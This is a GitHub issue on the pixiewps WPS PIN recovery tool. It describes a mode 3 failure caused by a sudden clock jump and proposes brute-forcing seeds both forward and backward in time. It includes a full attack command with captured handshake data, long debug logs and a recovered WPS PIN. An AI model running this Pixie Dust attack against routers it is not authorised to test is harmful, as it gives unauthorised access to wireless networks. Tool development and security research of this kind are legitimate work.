Failed to recover pin due to sudden time update in the middle of a transaction (mode 3)
wiire-a opened this issue · 2 comments
We found a set of data for which it was possible to recover the seed, but not the pin:
pixiewps --pke d0141b15656e96b85fcead2e8e76330d2b1ac1576bb026e7a328c0e1baf8cf91664371174c08ee12ec92b0519c54879f21255be5a8770e1fa1880470ef423c90e34d7847a6fcb4924563d1af1db0c481ead9852c519bf1dd429c163951cf69181b132aea2a3684caf35bc54aca1b20c88bb3b7339ff7d56e09139d77f0ac58079097938251dbbe75e86715cc6b7c0ca945fa8dd8d661beb73b414032798dadee32b5dd61bf105f18d89217760b75c5d966a5a490472ceba9e3b4224f3d89fb2b --pkr 5875393c477427c90abee5900e6425c6067d7bf6171ec55e33e3bcba1a41c12bcaa4ea5d78a45cbddcafe0f21e3182846df23a9695a327a5e132139fee1c920494ddb56c7ebdab538de23ec2a1f0435ade49be8c8ccb250c04280d7da9d57c11d3dd99dc108d965789153d6b5c905fc4c1be19404b9326564530fe5f3b49e606c904fee316affebf0d7b4dd0d757064307d77ff7d0c4c8015331dc88a0f7841a91523f164403647f805d49e01844a8ee60f1dcb6073c2fd3e3287089665e6509 --e-hash1 076477c4a43c3f282da4d76daf288498e140341cb7d8fa7b027f31f6afffec75 --e-hash2 131008071141b2bbeb4931452394c4507bced0ad9c4454443d89b438e92a19ec --authkey 85daddc08206e59f4ecc86228e0166191fe273fae50d72d011641e78c8a11e51 --e-nonce 31223dd87acdfbb32b8ca34a6fd08981 --force
After some digging I found out that the time between the plaintext nonce and the secret nonces was of 12 seconds apart. This is most likely due to a sudden time update after a NTP query.
To overcome this problem a small window of seeds forward in time and one backwards (clocks can skew in either direction), should be tested for E-S1 and E-S2. Currently, such window exists but only in the future for a small number of seconds:
#define MODE3_TRIES 3
This is not a bug, rather something not taken into consideration in earlier versions.
Thanks to @rofl0r for testing and finding this.
Example with a window size of 4 seconds (to show new forward and backward bruteforcing behavior):
[DEBUG] pixiewps.c:824:main(): Trying with E-S1: 31:22:3d:d8:7a:cd:fb:b3:2b:8c:a3:4a:6f:d0:89:81
[DEBUG] pixiewps.c:826:main(): Trying with E-S2: 31:22:3d:d8:7a:cd:fb:b3:2b:8c:a3:4a:6f:d0:89:81
[DEBUG] pixiewps.c:860:main(): Start: 1509618300 (Thu Nov 2 10:25:00 2017 UTC)
[DEBUG] pixiewps.c:864:main(): End: 0 (Thu Jan 1 00:00:00 1970 UTC)
[DEBUG] pixiewps.c:116:crack_thread(): Seed found 1509360318
[DEBUG] pixiewps.c:880:main(): Trying forward in time
[DEBUG] pixiewps.c:894:main(): Trying (1509360319) with E-S1: 5f:0d:bb:cc:6f:ec:94:f3:12:90:d7:09:18:d9:49:e4
[DEBUG] pixiewps.c:896:main(): Trying (1509360319) with E-S2: 5f:0d:bb:cc:6f:ec:94:f3:12:90:d7:09:18:d9:49:e4
[DEBUG] pixiewps.c:914:main(): Trying (1509360318) with E-S1: 31:22:3d:d8:7a:cd:fb:b3:2b:8c:a3:4a:6f:d0:89:81
[DEBUG] pixiewps.c:916:main(): Trying (1509360319) with E-S2: 5f:0d:bb:cc:6f:ec:94:f3:12:90:d7:09:18:d9:49:e4
[DEBUG] pixiewps.c:894:main(): Trying (1509360320) with E-S1: 4c:f1:23:2e:25:1a:ff:ff:79:8c:a3:a3:01:d6:85:0f
[DEBUG] pixiewps.c:896:main(): Trying (1509360320) with E-S2: 4c:f1:23:2e:25:1a:ff:ff:79:8c:a3:a3:01:d6:85:0f
[DEBUG] pixiewps.c:914:main(): Trying (1509360319) with E-S1: 5f:0d:bb:cc:6f:ec:94:f3:12:90:d7:09:18:d9:49:e4
[DEBUG] pixiewps.c:916:main(): Trying (1509360320) with E-S2: 4c:f1:23:2e:25:1a:ff:ff:79:8c:a3:a3:01:d6:85:0f
[DEBUG] pixiewps.c:894:main(): Trying (1509360321) with E-S1: 3b:0e:d0:59:1a:07:25:9d:20:43:76:41:6b:17:c8:2c
[DEBUG] pixiewps.c:896:main(): Trying (1509360321) with E-S2: 3b:0e:d0:59:1a:07:25:9d:20:43:76:41:6b:17:c8:2c
[DEBUG] pixiewps.c:914:main(): Trying (1509360320) with E-S1: 4c:f1:23:2e:25:1a:ff:ff:79:8c:a3:a3:01:d6:85:0f
[DEBUG] pixiewps.c:916:main(): Trying (1509360321) with E-S2: 3b:0e:d0:59:1a:07:25:9d:20:43:76:41:6b:17:c8:2c
[DEBUG] pixiewps.c:894:main(): Trying (1509360322) with E-S1: 69:1b:53:53:4f:5c:8a:18:47:4e:27:a1:54:43:7e:39
[DEBUG] pixiewps.c:896:main(): Trying (1509360322) with E-S2: 69:1b:53:53:4f:5c:8a:18:47:4e:27:a1:54:43:7e:39
[DEBUG] pixiewps.c:914:main(): Trying (1509360321) with E-S1: 3b:0e:d0:59:1a:07:25:9d:20:43:76:41:6b:17:c8:2c
[DEBUG] pixiewps.c:916:main(): Trying (1509360322) with E-S2: 69:1b:53:53:4f:5c:8a:18:47:4e:27:a1:54:43:7e:39
[DEBUG] pixiewps.c:894:main(): Trying (1509360323) with E-S1: 57:64:93:13:44:57:01:d8:6e:5c:f2:8d:3d:be:c1:70
[DEBUG] pixiewps.c:896:main(): Trying (1509360323) with E-S2: 57:64:93:13:44:57:01:d8:6e:5c:f2:8d:3d:be:c1:70
[DEBUG] pixiewps.c:914:main(): Trying (1509360322) with E-S1: 69:1b:53:53:4f:5c:8a:18:47:4e:27:a1:54:43:7e:39
[DEBUG] pixiewps.c:916:main(): Trying (1509360323) with E-S2: 57:64:93:13:44:57:01:d8:6e:5c:f2:8d:3d:be:c1:70
[DEBUG] pixiewps.c:931:main(): Trying backwards in time
[DEBUG] pixiewps.c:946:main(): Trying (1509360317) with E-S1: 03:46:35:75:46:72:8c:ef:45:16:ef:e7:06:d6:aa:b4
[DEBUG] pixiewps.c:948:main(): Trying (1509360317) with E-S2: 03:46:35:75:46:72:8c:ef:45:16:ef:e7:06:d6:aa:b4
[DEBUG] pixiewps.c:966:main(): Trying (1509360317) with E-S1: 03:46:35:75:46:72:8c:ef:45:16:ef:e7:06:d6:aa:b4
[DEBUG] pixiewps.c:968:main(): Trying (1509360318) with E-S2: 31:22:3d:d8:7a:cd:fb:b3:2b:8c:a3:4a:6f:d0:89:81
[DEBUG] pixiewps.c:946:main(): Trying (1509360316) with E-S1: 55:65:e7:29:11:68:11:a9:5e:28:90:a7:1d:db:7d:f0
[DEBUG] pixiewps.c:948:main(): Trying (1509360316) with E-S2: 55:65:e7:29:11:68:11:a9:5e:28:90:a7:1d:db:7d:f0
[DEBUG] pixiewps.c:966:main(): Trying (1509360316) with E-S1: 55:65:e7:29:11:68:11:a9:5e:28:90:a7:1d:db:7d:f0
[DEBUG] pixiewps.c:968:main(): Trying (1509360317) with E-S2: 03:46:35:75:46:72:8c:ef:45:16:ef:e7:06:d6:aa:b4
[DEBUG] pixiewps.c:946:main(): Trying (1509360315) with E-S1: 27:b8:de:72:1c:a6:56:8f:77:c9:4a:e0:35:23:71:57
[DEBUG] pixiewps.c:948:main(): Trying (1509360315) with E-S2: 27:b8:de:72:1c:a6:56:8f:77:c9:4a:e0:35:23:71:57
[DEBUG] pixiewps.c:966:main(): Trying (1509360315) with E-S1: 27:b8:de:72:1c:a6:56:8f:77:c9:4a:e0:35:23:71:57
[DEBUG] pixiewps.c:968:main(): Trying (1509360316) with E-S2: 55:65:e7:29:11:68:11:a9:5e:28:90:a7:1d:db:7d:f0
[DEBUG] pixiewps.c:946:main(): Trying (1509360314) with E-S1: 7a:51:af:54:28:5d:df:0b:11:9b:1d:1a:0c:b8:41:7f
[DEBUG] pixiewps.c:948:main(): Trying (1509360314) with E-S2: 7a:51:af:54:28:5d:df:0b:11:9b:1d:1a:0c:b8:41:7f
[DEBUG] pixiewps.c:966:main(): Trying (1509360314) with E-S1: 7a:51:af:54:28:5d:df:0b:11:9b:1d:1a:0c:b8:41:7f
[DEBUG] pixiewps.c:968:main(): Trying (1509360315) with E-S2: 27:b8:de:72:1c:a6:56:8f:77:c9:4a:e0:35:23:71:57
[DEBUG] pixiewps.c:946:main(): Trying (1509360313) with E-S1: 4b:fc:d5:de:73:0d:ac:57:2a:8d:78:3f:63:36:9a:ee
[DEBUG] pixiewps.c:948:main(): Trying (1509360313) with E-S2: 4b:fc:d5:de:73:0d:ac:57:2a:8d:78:3f:63:36:9a:ee
[DEBUG] pixiewps.c:966:main(): Trying (1509360313) with E-S1: 4b:fc:d5:de:73:0d:ac:57:2a:8d:78:3f:63:36:9a:ee
[DEBUG] pixiewps.c:968:main(): Trying (1509360314) with E-S2: 7a:51:af:54:28:5d:df:0b:11:9b:1d:1a:0c:b8:41:7f
Success (with a bigger window size then the above example):
[DEBUG] pixiewps.c:824:main(): Trying with E-S1: 31:22:3d:d8:7a:cd:fb:b3:2b:8c:a3:4a:6f:d0:89:81
[DEBUG] pixiewps.c:826:main(): Trying with E-S2: 31:22:3d:d8:7a:cd:fb:b3:2b:8c:a3:4a:6f:d0:89:81
[DEBUG] pixiewps.c:860:main(): Start: 1509618767 (Thu Nov 2 10:32:47 2017 UTC)
[DEBUG] pixiewps.c:864:main(): End: 0 (Thu Jan 1 00:00:00 1970 UTC)
[DEBUG] pixiewps.c:116:crack_thread(): Seed found 1509360318
[DEBUG] pixiewps.c:880:main(): Trying forward in time
[DEBUG] pixiewps.c:894:main(): Trying (1509360319) with E-S1: 5f:0d:bb:cc:6f:ec:94:f3:12:90:d7:09:18:d9:49:e4
[DEBUG] pixiewps.c:896:main(): Trying (1509360319) with E-S2: 5f:0d:bb:cc:6f:ec:94:f3:12:90:d7:09:18:d9:49:e4
[DEBUG] pixiewps.c:914:main(): Trying (1509360318) with E-S1: 31:22:3d:d8:7a:cd:fb:b3:2b:8c:a3:4a:6f:d0:89:81
[DEBUG] pixiewps.c:916:main(): Trying (1509360319) with E-S2: 5f:0d:bb:cc:6f:ec:94:f3:12:90:d7:09:18:d9:49:e4
[DEBUG] pixiewps.c:894:main(): Trying (1509360320) with E-S1: 4c:f1:23:2e:25:1a:ff:ff:79:8c:a3:a3:01:d6:85:0f
[DEBUG] pixiewps.c:896:main(): Trying (1509360320) with E-S2: 4c:f1:23:2e:25:1a:ff:ff:79:8c:a3:a3:01:d6:85:0f
[DEBUG] pixiewps.c:914:main(): Trying (1509360319) with E-S1: 5f:0d:bb:cc:6f:ec:94:f3:12:90:d7:09:18:d9:49:e4
[DEBUG] pixiewps.c:916:main(): Trying (1509360320) with E-S2: 4c:f1:23:2e:25:1a:ff:ff:79:8c:a3:a3:01:d6:85:0f
[DEBUG] pixiewps.c:894:main(): Trying (1509360321) with E-S1: 3b:0e:d0:59:1a:07:25:9d:20:43:76:41:6b:17:c8:2c
[DEBUG] pixiewps.c:896:main(): Trying (1509360321) with E-S2: 3b:0e:d0:59:1a:07:25:9d:20:43:76:41:6b:17:c8:2c
[DEBUG] pixiewps.c:914:main(): Trying (1509360320) with E-S1: 4c:f1:23:2e:25:1a:ff:ff:79:8c:a3:a3:01:d6:85:0f
[DEBUG] pixiewps.c:916:main(): Trying (1509360321) with E-S2: 3b:0e:d0:59:1a:07:25:9d:20:43:76:41:6b:17:c8:2c
[DEBUG] pixiewps.c:894:main(): Trying (1509360322) with E-S1: 69:1b:53:53:4f:5c:8a:18:47:4e:27:a1:54:43:7e:39
[DEBUG] pixiewps.c:896:main(): Trying (1509360322) with E-S2: 69:1b:53:53:4f:5c:8a:18:47:4e:27:a1:54:43:7e:39
[DEBUG] pixiewps.c:914:main(): Trying (1509360321) with E-S1: 3b:0e:d0:59:1a:07:25:9d:20:43:76:41:6b:17:c8:2c
[DEBUG] pixiewps.c:916:main(): Trying (1509360322) with E-S2: 69:1b:53:53:4f:5c:8a:18:47:4e:27:a1:54:43:7e:39
[DEBUG] pixiewps.c:894:main(): Trying (1509360323) with E-S1: 57:64:93:13:44:57:01:d8:6e:5c:f2:8d:3d:be:c1:70
[DEBUG] pixiewps.c:896:main(): Trying (1509360323) with E-S2: 57:64:93:13:44:57:01:d8:6e:5c:f2:8d:3d:be:c1:70
[DEBUG] pixiewps.c:914:main(): Trying (1509360322) with E-S1: 69:1b:53:53:4f:5c:8a:18:47:4e:27:a1:54:43:7e:39
[DEBUG] pixiewps.c:916:main(): Trying (1509360323) with E-S2: 57:64:93:13:44:57:01:d8:6e:5c:f2:8d:3d:be:c1:70
[DEBUG] pixiewps.c:894:main(): Trying (1509360324) with E-S1: 04:c1:aa:9d:78:e4:01:7a:54:9b:d8:ab:66:19:e2:b9
[DEBUG] pixiewps.c:896:main(): Trying (1509360324) with E-S2: 04:c1:aa:9d:78:e4:01:7a:54:9b:d8:ab:66:19:e2:b9
[DEBUG] pixiewps.c:914:main(): Trying (1509360323) with E-S1: 57:64:93:13:44:57:01:d8:6e:5c:f2:8d:3d:be:c1:70
[DEBUG] pixiewps.c:916:main(): Trying (1509360324) with E-S2: 04:c1:aa:9d:78:e4:01:7a:54:9b:d8:ab:66:19:e2:b9
[DEBUG] pixiewps.c:894:main(): Trying (1509360325) with E-S1: 72:74:f5:5a:6d:89:dc:69:7b:15:d7:62:4e:dd:e3:45
[DEBUG] pixiewps.c:896:main(): Trying (1509360325) with E-S2: 72:74:f5:5a:6d:89:dc:69:7b:15:d7:62:4e:dd:e3:45
[DEBUG] pixiewps.c:914:main(): Trying (1509360324) with E-S1: 04:c1:aa:9d:78:e4:01:7a:54:9b:d8:ab:66:19:e2:b9
[DEBUG] pixiewps.c:916:main(): Trying (1509360325) with E-S2: 72:74:f5:5a:6d:89:dc:69:7b:15:d7:62:4e:dd:e3:45
[DEBUG] pixiewps.c:894:main(): Trying (1509360326) with E-S1: 20:76:f9:86:62:a1:cf:da:22:12:8a:da:38:01:15:d5
[DEBUG] pixiewps.c:896:main(): Trying (1509360326) with E-S2: 20:76:f9:86:62:a1:cf:da:22:12:8a:da:38:01:15:d5
[DEBUG] pixiewps.c:914:main(): Trying (1509360325) with E-S1: 72:74:f5:5a:6d:89:dc:69:7b:15:d7:62:4e:dd:e3:45
[DEBUG] pixiewps.c:916:main(): Trying (1509360326) with E-S2: 20:76:f9:86:62:a1:cf:da:22:12:8a:da:38:01:15:d5
[DEBUG] pixiewps.c:894:main(): Trying (1509360327) with E-S1: 0e:f5:f4:b9:58:0e:7a:07:49:43:5d:4d:61:b5:17:15
[DEBUG] pixiewps.c:896:main(): Trying (1509360327) with E-S2: 0e:f5:f4:b9:58:0e:7a:07:49:43:5d:4d:61:b5:17:15
[DEBUG] pixiewps.c:914:main(): Trying (1509360326) with E-S1: 20:76:f9:86:62:a1:cf:da:22:12:8a:da:38:01:15:d5
[DEBUG] pixiewps.c:916:main(): Trying (1509360327) with E-S2: 0e:f5:f4:b9:58:0e:7a:07:49:43:5d:4d:61:b5:17:15
[DEBUG] pixiewps.c:894:main(): Trying (1509360328) with E-S1: 7c:11:7c:09:0c:3f:45:67:6f:85:92:13:09:cb:22:1e
[DEBUG] pixiewps.c:896:main(): Trying (1509360328) with E-S2: 7c:11:7c:09:0c:3f:45:67:6f:85:92:13:09:cb:22:1e
[DEBUG] pixiewps.c:914:main(): Trying (1509360327) with E-S1: 0e:f5:f4:b9:58:0e:7a:07:49:43:5d:4d:61:b5:17:15
[DEBUG] pixiewps.c:916:main(): Trying (1509360328) with E-S2: 7c:11:7c:09:0c:3f:45:67:6f:85:92:13:09:cb:22:1e
[DEBUG] pixiewps.c:894:main(): Trying (1509360329) with E-S1: 6a:6c:1c:c8:41:93:81:c1:16:94:54:28:33:53:53:a8
[DEBUG] pixiewps.c:896:main(): Trying (1509360329) with E-S2: 6a:6c:1c:c8:41:93:81:c1:16:94:54:28:33:53:53:a8
[DEBUG] pixiewps.c:914:main(): Trying (1509360328) with E-S1: 7c:11:7c:09:0c:3f:45:67:6f:85:92:13:09:cb:22:1e
[DEBUG] pixiewps.c:916:main(): Trying (1509360329) with E-S2: 6a:6c:1c:c8:41:93:81:c1:16:94:54:28:33:53:53:a8
[DEBUG] pixiewps.c:894:main(): Trying (1509360330) with E-S1: 58:37:f9:02:76:66:b5:1e:7d:74:38:95:5c:39:e2:5c
[DEBUG] pixiewps.c:896:main(): Trying (1509360330) with E-S2: 58:37:f9:02:76:66:b5:1e:7d:74:38:95:5c:39:e2:5c
[DEBUG] pixiewps.c:902:main(): Pin found
Pixiewps 1.3
[*] Mode: 3 (RTL819x)
[*] Seed nonce: 1509360318 (Mon Oct 30 10:45:18 2017 UTC)
[*] Seed E-S1: 1509360330 (Mon Oct 30 10:45:30 2017 UTC)
[*] Seed E-S2: 1509360330 (Mon Oct 30 10:45:30 2017 UTC)
[*] PSK1: 74:1b:4f:16:f9:b4:37:a9:d4:0b:45:1b:b4:81:73:5e
[*] PSK2: 11:e7:9e:34:5a:df:35:f2:dd:a9:dd:c7:71:02:15:e1
[*] E-S1: 58:37:f9:02:76:66:b5:1e:7d:74:38:95:5c:39:e2:5c
[*] E-S2: 58:37:f9:02:76:66:b5:1e:7d:74:38:95:5c:39:e2:5c
[+] WPS pin: 12345670
[*] Time taken: 3 s 226 ms